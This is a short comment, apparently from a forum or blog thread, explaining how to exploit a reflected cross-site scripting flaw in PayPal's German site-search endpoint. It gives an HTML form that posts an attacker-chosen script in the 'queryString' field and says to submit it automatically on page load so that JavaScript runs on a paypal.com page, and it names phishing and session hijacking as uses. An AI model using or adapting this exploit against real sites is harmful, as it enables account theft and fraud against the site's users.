Comment by pfg

Basically you need to put something like this on a page you control (where "xss code" is the code triggering the XSS):

    <form action="https://www.paypal.com/de/cgi-bin/searchscr?cmd=_sitewide-search" method="post">
        <input type="text" name="queryString" value="xss code" />
    </form>

Then, just as the page loads, submit that form and you're executing JS on a paypal.com page. This would work great for phishing or session hijacking.